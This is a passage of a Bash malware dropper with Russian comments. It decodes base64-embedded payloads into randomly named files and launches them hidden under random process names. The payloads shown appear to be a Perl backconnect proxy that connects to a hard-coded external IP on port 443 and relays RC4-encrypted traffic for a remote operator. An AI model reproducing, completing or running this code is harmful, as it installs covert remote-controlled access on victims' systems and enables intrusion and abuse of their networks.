S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #43 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #43 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 44 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u 